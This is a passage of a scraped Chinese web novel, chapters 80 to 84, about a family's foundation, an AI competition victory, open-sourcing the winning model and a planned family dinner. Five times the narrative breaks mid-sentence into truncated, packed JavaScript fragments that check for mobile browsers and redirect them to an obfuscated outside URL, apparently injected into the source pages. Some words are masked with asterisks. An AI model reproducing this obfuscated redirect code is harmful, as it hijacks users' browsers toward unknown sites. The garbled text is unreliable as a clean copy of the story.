“比如，在中东的干旱地区，我们可以资助海水淡化项目；在东南亚的山区，我们可以推广无人机农业技术；在那些战乱国家的难民营，我们可以建立移动的线上学校。” 陆沉渊安静地听着，翻看着她的笔记。 陆沉渊有些惊讶，看着这个似乎完全陌生地妹妹。 第80章 蜕变的陆芊芊 陆芊芊的这些构想，已经不是一个大小姐心血来潮的善心，而是一套逻辑严密，体系完整的商业计划。 甚至，其中很多技术和模式，都与渊龙科技现在布局的产业高度相关。 “资金来源呢？”陆沉渊问出了最关键的问题。 “不接受任何形式的公众募捐。”陆芊芊的回答，斩钉截铁。 这个回答，让陆沉渊的眼中露出了真正的赞许。 “公众的钱，会带来无尽的道德**和程序内耗，会让我们的手脚被彻底束缚住。”陆芊芊解释道， “我只需要一笔启动资金，来自我们自己人。” “比如，陆家，墨家，或者京州其他有社会责任感的家族。” “我们用这笔钱，去做项目。项目成功了，产生了社会效益，甚至商业回报，自然会吸引更多同等量级的资本加入。这是一个正向循环。” 她抬起头，直视着陆沉渊的眼睛。 “大哥，你在商场上，建立了一个科技帝国。而我想用你的科技，去建立一座桥梁，连接那些被世界遗忘的角落。” 陆沉渊合上了笔记本。 他站起身，走到陆芊芊面前，伸出手，重重地拍了拍她的肩膀。 “很好。” “这个基金会，我投了。” “渊龙科技，将作为基金会的首个战略合作伙伴和技术支持方。启动资金，我个人出五个亿。” 陆芊芊的眼眶，又一次红了。 但这一次，她没有哭。 她只是重重地点了点头。 “谢谢大哥。” “基金会的名字，想好了吗？”陆沉渊问。 “想好了。”陆芊芊的嘴角，勾起一抹自信的笑容。 “就叫‘远方’。” 远方。 有无尽的远方，无数的人们，都与我有关。 陆芊芊的成长和蜕变，让陆沉渊有些恍惚。 陆芊芊一路走来可以是说有陆沉渊刻意安排，但是陆芊芊成长成这个样子，绝对不是陆沉渊可以规划出来的。 她找到了自己的战场，也彻底摆脱了过去那个需要与陆若溪“争宠”的心结。 她们一个在科学的殿堂里，探索宇宙的奥秘。 一个在现实的世界里，修补人间的裂痕。 她们走上了两条完全不同，却同样伟大的道路。 这比原剧情里的任何一种结局，都要好上千万倍。 然而，解决了旧的烦恼，新的担忧却悄然浮现在陆沉渊的心头。 这天晚上，陆沉渊又来到母亲的庄园。 车子经过偏宅时，他看到陆芊芊和姬无双正坐在院子里的石凳上聊天。 夜色很美，星光璀璨。 两个女子的身影，在柔和的灯光下，显得格外和谐。 她们没有靠得很近，却自成一个旁人无法插入的气场。 姬无双不知道说了什么，一向不苟言笑的脸上，竟然露出了一丝极淡的笑意。 而陆芊芊，则仰着头，看着天上的星星，侧脸的线条，柔和而宁静。 就在这时，陆芊芊的手机响了。 她接起电话，是楼梦玲打来的。 楼梦玲在电话里，似乎是想为她安排一场相亲，对方是某个好友的儿子。 陆沉渊的听力极好，隐约听到了电话里的内容。 他看到陆芊芊的眉头，微不可察地皱了一下。 然后，她说出了一句让陆沉渊心头一震的话。 “妈，您别费心了。我刚多大啊，还不到二十呢！而且，我现在没时间，也不想考虑这些事。” “男人，只会阻碍我前进的脚步。” 说完，她便礼貌地挂断了电话。 陆沉渊的车，缓缓停在了主宅门口。 他坐在车里，没有下车。 那句话，在他的脑海里，反复回响。 “男人，只会阻碍我前进的脚步。” 他想起了陆芊芊所经历的一切。 血缘上的父亲厉修剑，是个不择手段的阴谋家，是她人生的噩梦之源。 养育了她十八年的父亲陆明业，是个自私懦弱的出轨者，背叛了整个家庭。 除了自己和几个还算靠谱的哥哥，她生命中最重要的两个“父亲”形象，都以最糟糕的方式崩塌了。 这会不会，让她对男性，对婚姻，产生了根深蒂固的排斥和不信任？ 他又想起了姬无双。 那个强大、可靠，在最危险的时刻，永远挡在她身前的女人。 在陆芊芊最迷茫，最痛苦，三观被彻底颠覆的那一年里，是姬无双，陪在她身边，给了她最坚实的支持和最纯粹的守护。 这种在生死考验中建立起来的感情，其深度和纯度，恐怕是任何风花雪月的浪漫，都无法比拟的。 她们之间的关系…… 陆沉渊的心里，第一次产生了一个他从未想过的，荒诞又似乎合理的猜测。 她们，会不会已经超越了友情和战友情？ 这个念头一出，陆沉渊的心情变得复杂起来。 他不是思想古板的人。 对于感情的形式，他远比这个时代的许多人，要看得开。 他担忧的，不是这件事本身。 而是这件事背后的原因。 如果芊芊是因为经历了太多伤害，才选择了一条在外人看来“离经叛道”的路。 那么，自己这个做大哥的，是不是难辞其咎？ 是他，亲手揭开了所有血淋淋的真相。 是他，将她推向了那个充满苦难和复杂的真实世界。 他给了她成长，给了她翅膀。 却也可能，让她在飞翔的途中，对某一种天空，永远地关上了心门。 陆沉渊靠在座椅上，揉了揉眉心。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348526|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他第一次发现，有些事情的发展，即便是他也无法完全预料和掌控。 他或许，是误会了。 但这种可能性，却让陆沉渊有些隐隐忧虑。 偏宅的院子里。 挂断电话后，陆芊芊长长地舒了一口气。 “又是相亲？”姬无双淡淡地问了一句。 “是啊。”陆芊芊撇了撇嘴，“我妈总觉得我一个人太辛苦，想找个人照顾我。” “那你刚才说的，是真心话？”姬无双的目光，看着她。 “哪句？” “男人，只会阻碍你前进的脚步。” 陆芊芊闻言，笑了起来。 她转过头，看着姬无双，那双明亮的眼睛里，没有丝毫阴霾，只有坦然和清醒。 “当然是真心话。至少，在现阶段是。” 她站起身，伸了个懒腰，活动了一下筋骨。 “无双姐，你看。” 她指着天上的月亮。 “我以前觉得，这月亮就应该是众星捧月的。所有星星都该围着它转，它就该是夜空中唯一的主角。” “就像过去的我，觉得全世界的爱，都该是我的。” 她又指着那些看似暗淡，却在努力发光的星星。 “可这一年，我去了很多没有月亮，甚至没有星星的夜晚。我才发现，黑暗，才是这个世界的底色。而我们能做的，就是努力让自己，变成一颗星星。” “哪怕只能照亮一小片地方，也是在对抗黑暗。” “我现在，只想去做一颗星星。至于月亮会不会来找我，或者哪颗星星想和我作伴，那都是以后，甚至是很久很久以后的事了。” “我现在，没空想这些。” 姬无双静静地听着。 她看着眼前的女孩。 她清晰地记得，一年前，在国外的营地里，当陆芊芊第一次得知自己身世时，那副天塌地陷，摇摇欲坠的样子。 而现在，她已经可以坦然地，将那些苦难，化作自己前行的燃料和天空中最清晰的坐标。 “我明白了。”姬无双点了点头。 她的脸上，露出了那一丝极淡，却发自内心的笑容。 “那你需要一个同伴。一个能帮你扫清障碍，让你安心发光的同伴。” 她站起身，向陆芊芊伸出手。 “你的‘远方’，还缺人吗？” 陆芊芊愣住了。 她看着姬无双伸出的手，看着她眼中那份熟悉的，坚定的光芒。 她用力地回握住。 “缺！太缺了！” 两个女子的手，紧紧地握在了一起。 在她们身后，不远处的黑暗中，陆沉渊的车悄无声息地启动，离去。 陆沉渊没有听到她们后半段的对话。 那份来自兄长的，沉甸甸的担忧，依旧盘踞在陆沉渊的心头，久久未散。 第81章 巅峰对决 世界人工智能大赛（WAIC）在日内瓦正式拉开帷幕。 这个大赛的一个重要特点是，不允许使用预训练的模型。 大赛的一个核心目的就是检验算法的实时学习能力和资源利用效率。 全球科技巨头云集，镁光灯闪烁，空气中都弥漫着代码和野心的味道。 渊龙科技的“盘古实验室”团队，作为一支来自夏国的初创力量，起初并未引起太多关注。 然而，小组赛开始后，情况变了。 陆若溪和苏阳带领的团队，如同一匹最黑的黑马，一路过关斩将。 他们提交的“女娲”模型，在多个测试项目中，展现出远超预期的性能。 赛场内外，开始出现各种的议论。 渊龙团队，成功杀入决赛圈。 他们的对手，是两个庞然大物。 一个是国际巨头思特拉公司的“奥丁”团队，技术底蕴深厚，是夺冠的最大热门。 以及M国顶级高校的一支队伍，神盾。 决赛的赛制，残酷而直接。 二十四小时极限挑战。 所有团队接入大赛官方提供的统一数据平台，对一个全新的、极端复杂的城市交通模型进行实时优化。 谁的模型能最快、最稳定地降低整个系统的拥堵率，谁就是冠军。 比赛开始的钟声敲响。 渊龙科技的休息区内，气氛紧张而有序。 “女娲模型接入成功。” “初始参数稳定。” “第一阶段优化开始，目标拥堵率降低5%。” 苏阳紧盯着数据流，手指在键盘上翻飞，一道道指令发出。 陆若溪则站在巨大的电子白板前，眼神专注地看着实时反馈的曲线，仿佛一位运筹帷幄的将军。 前六个小时，一切顺利。 “女娲”模型的表现甚至超出了预期，优化效率一度压过了思特拉和神盾。 然而，就在第七个小时。 异变突生。 大屏幕上，代表渊龙科技模型稳定性的曲线，突然开始剧烈地、毫无征兆地波动。 “警报！数据流异常！” “模型输出出现大量错误解！” “拥堵率不降反升！我们的系统正在制造混乱！” 休息区内，一片哗然。 苏阳的脸色瞬间变得惨白。 “怎么可能？我检查过代码，没有漏洞！”他冲到主控台前，疯狂地敲击着键盘。 然而，无论他怎么排查，都找不到任何问题。 代码是完美的。 可模型，却像疯了一样。 “是数据**！”陆若溪的声音，冰冷而清醒。 她指着屏幕上一条几乎被忽略的子数据流。 “有人利用了大赛平台的一个规则漏洞，向我们定向输入了大量无法被常规逻辑识别的‘污染数据’。这些数据本身不违规，但它们会诱导我们的模型，走向一个错误的优化方向。” 苏阳瞬间明白了。 这不是技术攻击，而是规则攻击。 对方的手段，极其高明和阴险。 就像在清水里，滴入了一滴无色无味的**。 神盾团队的休息区，一个戴着金边眼镜的男人，看着渊龙科技骤降的排名，嘴角浮起一抹冷笑。 时间一分一秒地过去。 渊龙团队的排名，已经掉到了决赛圈的末尾。 再这样下去，不出三个小时，他们就会因为系统崩溃，被强制淘汰。 团队里的年轻研究员们，脸上已经露出了绝望的神色。 “放弃这条路。”陆若溪忽然开口，声音不大，却让所有人都安静了下来。 她走到白板前，拿起笔，飞快地擦掉了上面所有的旧公式。 “既然旧的逻辑会被污染，那我们就建立一个新的。” 所有人都愣住了。 临场，重构核心算法？ 这根本是天方夜谭！ “来不及的……”苏阳喃喃道。 “来得及。”陆若溪回头，目光灼灼地看着他，“苏阳，你相信我吗？” 苏阳看着她那双眼睛。 那里面没有慌乱，没有恐惧，只有绝对的自信和天才的锋芒。 所有的犹豫，瞬间被一扫而空。 他重重地点了点头：“我信！” “好。” 陆若溪不再多言。 她转过身，整个世界仿佛都消失了，只剩下她和那块白板。 一个全新的，从未有人提出过的多维混沌数学模型，在她笔下，一点点地成型。 那不是优化，而是创造。 是在一片废墟之上，重建一座崭新的神殿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348527|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 团队的所有人，都屏住呼吸，看着这宛如神迹的一幕。 半小时后，陆若溪停笔。 一个完美、自洽、闪烁着数学之光的全新模型，呈现在所有人面前。 “接下来，看你的了。”她对苏阳说。 苏阳的血液，在瞬间被点燃。 “保证完成任务！” 他回到电脑前，大脑以前所未有的速度运转，将白板上的数学公式，转化为一行行精准的代码。 团队成员也被他感染，迅速投入到协同工作中。 绝望的气氛，一扫而空。 国内，深夜。 渊龙科技顶层办公室，灯火通明。 陆沉渊坐在屏幕前，安静地看着那条代表着团队成绩、已经跌入谷底的曲线。 林远站在他身后，手心全是汗。 “陆总，要不要启动备用方案？” “不用。”陆沉渊的语气，依旧平静，“还没到最后一步。” 他相信陆若溪。 也相信苏阳。 他相信他亲手选中的人。 果然，几小时后，那条死寂的曲线，开始有了微弱的，向上的爬升。 虽然缓慢，但无比坚定。 林远长出了一口气。 但陆沉渊的眉头，却依旧没有舒展。 他知道，这还不够。 新的模型太强大，太超前。 以大赛提供的CPU集群算力，根本无法在剩余的时间里，发挥出它真正的威力。 他们需要一把，能劈开硬件枷锁的利刃。 陆沉渊打开一个加密通讯频道，手指在键盘上敲下一行字，发送了出去。 日内瓦，赛场。 苏阳的团队，再次遇到了瓶颈。 新模型虽然强大，但运行效率太慢，就像一具拥有神级灵魂的孱弱躯体。 “算力不够！我们的算力被CPU架构限制**！”一个研究员绝望地喊道。 就在这时，苏阳的私人电脑，弹出了一个加密提示。 他打开信息。 上面只有一句话： 尝试放弃CPU集群，全面转向GPU并行计算。 轰！ 这句话，如同一道惊雷，在苏阳的脑海中炸响。 GPU！ 并行计算！ 他瞬间明白了！ 第82章 得胜 陆若溪的新模型在逻辑上是发散式的，拥有无数个可以同时进行的分支运算。 传统的CPU串行处理，就像一个学究，一步步地解题。 而GPU的并行计算，则像是成千上万个小学生，同时计算一道题的不同部分！ 这简直是为新模型量身定做的屠龙之术！ “所有人！重构计算架构！转向GPU！”苏阳冷静说道，眼中爆发出骇人的光芒。 团队成员愣了一下，随即也反应了过来。 最后的希望，就在眼前！ 所有人，都爆发出了最后的能量，很快完成了部署。 苏阳，按下了提交键。 全新的“女娲2.0”，正式上线。 评委席上，所有专家都带着一丝惋惜。 渊龙科技，这匹黑马，终究还是要提前退场了。 然而，就在下一秒。 所有人都猛地从椅子上站了起来，死死地盯着中央大屏。 那条代表着渊龙科技的曲线，以一种近乎垂直的角度，开始下降！ 45%！ 15%！ 5%！ 拥堵率，以一种匪夷所思的速度，疯狂下降！ 整个模拟城市交通系统，在“女娲2.0”的接管下，从混乱的肠梗阻，变得如丝般顺滑！ 评委们失态了。 思特拉和神盾团队，则彻底看傻了。 他们引以为傲的模型，在“女娲2.0”面前，就像原始人的石斧，遇到了激光剑。 比赛结束的钟声敲响。 结果，再无悬念。 渊龙科技，以一种碾压式的，不讲道理的姿态逆风翻盘。 冠军！ 当主持人用激动的声音宣布结果时，整个赛场，都为这支来自夏国的年轻团队，献上了最热烈的掌声。 镜头中央，陆若溪和苏阳并肩站在一起。 女孩沉静如水，男孩意气风发。 他们的身后，是整个欢呼的团队。 这一刻，他们是世界的焦点。 秦氏集团，顶层。 厉烬川看着屏幕上那张清冷而耀眼的脸，看着她和身边那个叫苏阳的男孩相视而笑。 他手中的高脚杯，被他生生捏碎。 鲜血顺着指缝滴落，他却毫无察觉。 他没有因为比赛的失败而愤怒。 心中涌起的，是一种更深沉，更让他恐惧的情绪。 是失去。 他感觉，那个曾经被他视为囊中之物的女孩，正在离他越来越远。 她站在了一个他无法触及的高度，散发着他无法理解的光芒。 这种失控感，像**一样，侵蚀着他的理智。 他不但没有放弃，反而生出了一种更加偏执、更加疯狂的占有欲。 “陆若溪……” 他用只有自己能听到的声音，喃喃自语。 “你，只能是我的。” ……………… WAIC的冠军奖杯，被渊龙科技带回了夏国。 消息传回国内，整个科技圈和资本市场都为之沸腾。 渊龙科技，这个名字，第一次以王者姿态登上了全球科技舞台的最高处。 它的背后，不再仅仅是“无距”汽车。 而是代表着未来的，人工智能。 庆功宴在京州国际会议中心举行。 宴会厅灯火辉煌，名流云集。 京州几乎所有有头有脸的人物，都收到了邀请。 媒体的**短炮，更是将门口堵得水泄不通。 今晚的主角，是盘古实验室的团队。 陆若溪和苏阳，这两个尚在**塔中的年轻人被推到了聚光灯下。 陆若溪换下了一贯的白大褂，穿着一身简洁的白色小礼服。 气质清冷，却难掩锋芒。 苏阳则是一身笔挺的西装，褪去了几分青涩，多了几分自信。 面对着不断前来敬酒祝贺的大佬们，两人应付得体。 陆若溪的沉静，苏阳的热忱，形成了一种奇妙的互补。 他们不再需要躲在谁的身后。 这场胜利，是他们亲手为自己赢来的冠冕。 宴会进行到一半，两道身影从侧门缓缓步入。 男人身姿挺拔，气场沉稳如山。 女人身着墨绿色长裙，高贵优雅，气度从容。 正是陆沉渊和墨清漓。 他们一出现，瞬间吸引了全场的目光。 如果说陆若溪和苏阳是今晚最闪亮的星。 那么陆沉渊和墨清漓，就是掌控着整个星空的神明。 “是陆总和墨总！” “他们竟然一起出席了……” “看来外界的传闻是真的，这两家，已经深度绑定了。” 宾客们的窃窃私语，充满了敬畏和艳羡。 陆沉渊没有理会周围的目光，径直走到陆若溪面前。 “做得很好。”他看着妹妹，眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348528|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中是毫不掩饰的赞许。 一句简单的“做得很好”，比任何华丽的辞藻，都让陆若溪感到安心和骄傲。 “是大哥给的思路好。”陆若溪轻声说。 她永远记得，在最关键的时刻，是谁给了他们那把劈开混沌的钥匙。 陆沉渊笑了笑，又拍了拍苏阳的肩膀。 “继续努力。” “是！陆总！”苏阳激动地挺直了腰板。 墨清漓站在陆沉渊身旁，看着这两个年轻人，眼中也带着微笑。 她为他们高兴，更为身边这个男人感到骄傲。 是他，发现了璞玉，并亲手将他们雕琢成了无价之宝。 陆沉渊和墨清漓肩并着肩，走上主讲台。 全场瞬间安静下来。 所有人都知道，正戏要开始了。 “首先，感谢各位来宾，在百忙之中，参加渊龙科技的庆功宴。” 陆沉渊的声音通过麦克风，清晰地传遍全场。 “渊龙能取得今天的成绩，离不开团队每一个人的努力，也离不开在座各位，以及社会各界的支持。” 他微微鞠躬。 台下响起热烈的掌声。 “今天，除了庆祝，我还有一件事，想借这个机会，向大家宣布。” 掌声渐息，所有人都屏住了呼吸。 陆沉渊的目光扫过全场，平静地投下了一枚重磅**。 “渊龙科技决定，将本次WAIC大赛夺冠的核心模型——‘女娲2.0’的底层架构，以及核心算法库，进行开源。” “什么？！” “开源？我没听错吧？” “他疯了吗？！” 一瞬间，整个宴会厅，如同被投入巨石的湖面，掀起轩然大波。 在场的，都是各行各业的精英，他们比任何人都明白“女娲2.0”的价值。 那是一座刚刚被探明的，足以改变世界的金矿。 而现在，它的所有者，竟然要将通往金矿的地图公之于众？ 这不符合任何商业逻辑！ 思特拉夏国区的负责人，脸色变得极其难看。 秦家的代表，更是目瞪口呆，完全无法理解陆沉渊的操作。 就连渊龙科技内部的一些高管，都露出了震惊和不解的神色。 唯有墨清漓，站在陆沉渊身边，神情自若。 她看着他，眼中闪烁着异彩。 她知道，这个男人，又一次走到了所有人的前面。 第83章 开源 “陆总，请问您为什么要做出这个决定？” 台下的媒体，已经按捺不住地高声提问。 “这是否意味着，渊龙科技将放弃在人工智能领域的领先优势？” 陆沉渊抬手，示意大家安静。 “开源，不是放弃，而是为了建立一个更广阔的生态。” 他的声音，沉稳而有力，带着一种不容置疑的自信。 “人工智能的未来，不应该被掌握在少数几家公司的服务器里。它应该像水和电一样，成为一种普惠的基础设施，赋能千行百业。” “渊龙科技开源‘女娲’，是希望为这个行业，提供一个高起点、高标准的基座。我们欢迎全世界的开发者、企业和研究机构，在这个基座之上，去构建属于他们自己的应用，去创造更大的价值。” “我们放弃的，是一城一池的得失。我们想要的，是整个行业的星辰大海。” 陆沉渊这一番话，说得掷地有声。 那些原本震惊、不解的目光，渐渐转为了震撼，甚至是敬佩。 格局。 这就是格局的差距。 当所有人还在想着如何圈地自萌，独占金矿的时候，陆沉渊想的，是重新定义整个行业的规则。 他不是要当一个挖矿人。 他要当那个，制定黄金交易标准的人。 这一夜，渊龙开源，引爆了整个夏国的科技圈。 紧接着，这股风暴席卷全球。 无数的技术论坛、开发者社区，为之疯狂。 “女娲”的代码像病毒一样，在全球开发者的电脑里传播。 无数中小企业，看到了弯道超车的希望。 无数高校实验室，得到了前所未有的研究利器。 陆沉渊此举，几乎是以一己之力，将全球人工智能的技术门槛，拉低了一个台阶。 更重要的是，当所有人都开始基于“女娲”的架构进行开发时，渊龙科技，就成了事实上的标准制定者。 未来所有与AI相关的商业模式、技术伦理、法律法规，都将绕不开渊龙。 宣布开源后的第二天。 陆沉渊便授意林远，联合墨氏集团，牵头成立了“夏国人工智能产业发展与安全联盟”。 他们主动邀请了国家相关部委、顶级法学专家、社会伦理学者，共同探讨AI技术发展带来的机遇与挑战。 这是他作为前扶贫**的**敏感性。 技术狂奔的时代，永远要将缰绳提前握在手里。 将规则，建立在对国家和社会有利的基础之上。 在这件事上，墨家展现出了惊人的行动力。 墨清漓亲自负责此事，调动了墨家在政、商、学三界的全部资源，与渊龙科技深度协同。 两家公司的合作，已经远远超出了商业范畴。 他们正在联手，为夏国在下一个时代的全球竞争中，铺设最坚实的基础。 陆沉渊和墨清漓，这对尚未正式宣布关系的伴侣，却已经成了夏国新一代企业家中最具权势和影响力的黄金组合。 他们的每一次共同出现，都预示着行业的风向。 …… 渊龙科技的高歌猛进，也带来了意想不到的连锁反应。 陆家老宅。 一场家宴，气氛前所未有的融洽。 “沉渊这孩子，真是了不得啊！”开口的是四叔陆明功，他端着酒杯，满面红光， “我们陆氏集团的股票，这个月涨了快20%！我那点分红，比以前自己瞎折腾一年赚的都多！” “谁说不是呢！”三叔陆明德也附和道， “以前天天想着在董事会争个席位，斗来斗去，累死累活，公司也没见多大起色。现在好了，专业的事交给专业的人干，我们躺着拿钱，多舒坦！” 自从陆沉渊快刀斩乱麻，将陆氏集团的股权全部转入信托公司，彻底剥离了家族成员的管理权后。 这些叔伯们，一开始还有怨言。 但当他们发现，在职业经理人的打理下，集团的运营效率和盈利能力反而大幅提升，自己每年的分红远超从前时，那点怨气，早就烟消云散了。 尤其是这一次，渊龙科技的声名鹊起，作为陆沉渊起点的母公司的陆氏集团，更是跟着水涨船高，成了资本市场最炙手可热的香饽饽。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348529|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这种看得见摸得着的利益，比任何说教都管用。 就连一直对陆沉渊心存芥蒂的二叔陆明事，此刻也沉默地喝着酒，没有反驳。 自从被陆沉渊逼着退出了盛天地产那个烂摊子，又失去了对集团的控制权后，他消沉了一段时间。 但没了权力的枷锁，他反而活得轻松了。 每日里养花逗鸟，研究古玩字画，竟也找回了几分年轻时的风雅。 看着如今渊龙科技的成就，再回想当初自己执意要搞的那些传统地产生意，他心里第一次，生出了一丝后怕和庆幸。 他不得不承认，自己那个侄子，看的比他远，也比他狠。 陆家，交到他手里，或许真的是最好的选择。 主位上，陆承嗣老爷子看着一桌子和和气气的儿孙，眼中满是欣慰。 这曾是他最担心的局面。 兄弟阋墙，家道中落。 但现在，陆沉渊用他自己的方式，化解了这一切。 陆沉渊斩断了让这个家内耗的根源——权力。 然后用一个更大的，所有人都无法拒绝的利益蛋糕，重新把大家凝聚了起来。 这手段，比他当年，高明太多了。 “沉渊呢？怎么又没回来？”陆承嗣环顾一周，开口问道。 众人脸上的笑容，微微一滞。 “大哥他……忙。”一个旁支的堂弟小声回答，“听说刚从国外回来，又要去见部委的领导，还要和墨家谈合作……” 陆承嗣脸上的笑容，淡了几分，化作一声悠长的叹息。 “是啊，忙。” 他端起酒杯，独自喝了一口。 酒是好酒，菜是好菜。 家，也和睦了。 可他心里，却总觉得空落落的。 那个他最看重，也最亏欠的孙子，离这个家，好像越来越远了。 他为陆家撑起了一片天，自己，却不愿再走进这片屋檐下。 老爷子浑浊的眼中，闪过一丝难言的伤怀。 他知道，有些裂痕，一旦产生，就再也无法弥合了。 陆沉渊，终究是不一样了。 第84章 我准了 楼家庄园。 楼梦玲挂断了与闺蜜的电话，脸上带着掩饰不住的笑意。 手机屏幕上，还停留在财经新闻的页面。 照片中，陆沉渊与墨清漓并肩而立，在渊龙科技庆功宴的讲台上，宛如一对璧人。 外界的猜测，铺天盖地。 作为母亲，楼梦玲看得更清楚。 那不是商业伙伴间的客套疏离。 那是深入骨髓的默契与信任。 她的儿子，那个总是把一切都扛在自己肩上，活得像座孤岛一样的儿子，身边终于站了一个人。 一个能与他并肩，而不是躲在他身后的女人。 楼梦玲感到前所未有的欣慰。 自从和陆明业离婚，彻底摆脱了那个名为“陆家主母”的牢笼后，她活得越来越通透。 她不再关心家族的荣光，不再理会商场的纷争。 她只希望自己的孩子们，能活得真实，活得幸福。 楼梦玲拿起手机，直接拨通了陆沉渊的电话。 “阿渊，这周末有空吗？” “妈，有事您说。”电话那头，陆沉渊的声音一如既往的沉稳。 “没事就不能找你？”楼梦玲佯装不悦，“你都多久没回家吃饭了？我让厨房准备你爱吃的菜，这周六，带上你弟弟妹妹们，都回来。” “好。”陆沉渊立刻答应。 对于母亲，他从不拒绝。 “对了。”楼梦玲话锋一转，语气变得轻快起来，“把你的女朋友也一起带来。” 陆沉渊握着手机的手，微微一紧。 “妈，她……” “她什么她？”楼梦玲打断他，“新闻上都传遍了，你还想瞒着我？就这么定了，你必须把人给我带来。我是以你母亲的身份，想见见我未来的儿媳妇，行不行？” 母亲的语气，带着不容置疑的坚决和一丝狡黠。 陆沉渊沉默了。 他能指挥千军万马，能在商业战场上翻云覆雨。 却在这一刻，感到了前所未有的窘迫。 “听见没有？”楼梦玲追问。 “……听见了。”陆沉渊深吸一口气，硬着头皮应下。 挂掉电话，他站在办公室的落地窗前，看着脚下的车水马龙，第一次感到了束手无策。 这件事，比开源“女娲”模型，要难得多。 他和墨清漓，究竟算是什么关系？ 战友？盟友？邻居？ 他们一起联手布局商战，默契十足。 还是……饭搭子？ 她甚至堂而皇之地，将他的公寓当成了第二个办公室兼食堂。 他们之间，做过最亲密的事，是一起经历生死。 说过最动听的话，是讨论项目和财报。 但他们之间，始终隔着一层窗户纸。 谁都没有主动捅破。 现在，母亲却让他直接带她回家，见家长。 陆沉渊放下报告，靠在椅背上，第一次认真思考这个问题。 原剧情的阴影，曾让他对墨清漓敬而远之。 他怕自己会重蹈覆辙，辜负这个女人。 可不知从何时起，她的存在，已经成了他生活中的习惯。 一种，他不想失去的习惯。 想起母亲那条不容置喙的口气，陆沉渊心中做出了决定。 傍晚，云顶壹号公寓。 陆沉渊系着围裙，在开放式厨房里，动作娴熟地处理着食材。 夕阳的余晖，透过巨大的落地窗，将他的身影拉得很长。 门锁传来轻微的“滴”声。 墨清漓走了进来，手里还提着一个公文包。 她换下高跟鞋，赤着脚踩在温润的木地板上，很自然地走到厨房吧台边坐下。 这已经成了他们之间的一种默契。 下班，回家。 她回的，是楼上他的家。 “今天这么早？”陆沉渊没有回头，听脚步声就知道是她。 “AI联盟那边的事，暂时告一段落了。”墨清漓的声音里，带着一丝放松的慵懒，“你呢？今天怎么心事重重的？” 她看着陆沉渊的背影，他今天做饭的节奏，比平时慢了半拍。 陆沉渊将最后一道菜端上餐桌，解下围裙。 “吃饭吧。” 两人相对而坐。 餐桌上，四菜一汤，家常却精致。 墨清漓尝了一口清蒸鲈鱼，味道鲜美，火候正好。 她心里有些滑稽，又有些抑制不住的甜蜜。 外面那个叱咤风云、让整个夏国科技界都为之侧目的陆总，每天最大的烦恼，似乎就是该给自己做什么晚饭。 “有件事，想和你说。”陆沉渊放下筷子，神情有些严肃。 “嗯？”墨清漓抬眸。 “我妈，这个周六，想让我们……回去吃个饭。”陆沉渊说得很慢，似乎在斟酌每一个字。 墨清漓闻言，点了点头：“是应该的。你们兄妹几个平时都那么忙，是该多陪陪阿姨。” 陆沉渊一愣，静静地看着她。 这个女人，在商场上敏锐得像一头猎豹。 怎么在这种事上，反应如此迟钝。 他只好加重了语气，一字一顿地重复。 “是，我、们。” “……” 墨清漓咀嚼的动作，慢了下来。 她这下彻底反应过来了。 这是……要见家长了？ 墨清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348530|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漓的心，像被羽毛轻轻扫过，泛起一阵痒意。 她看着眼前这个明明内心波涛汹涌，却还要故作镇定的男人，觉得好玩极了。 那个在商场上翻云覆雨，让无数对手闻风丧胆的陆沉渊。 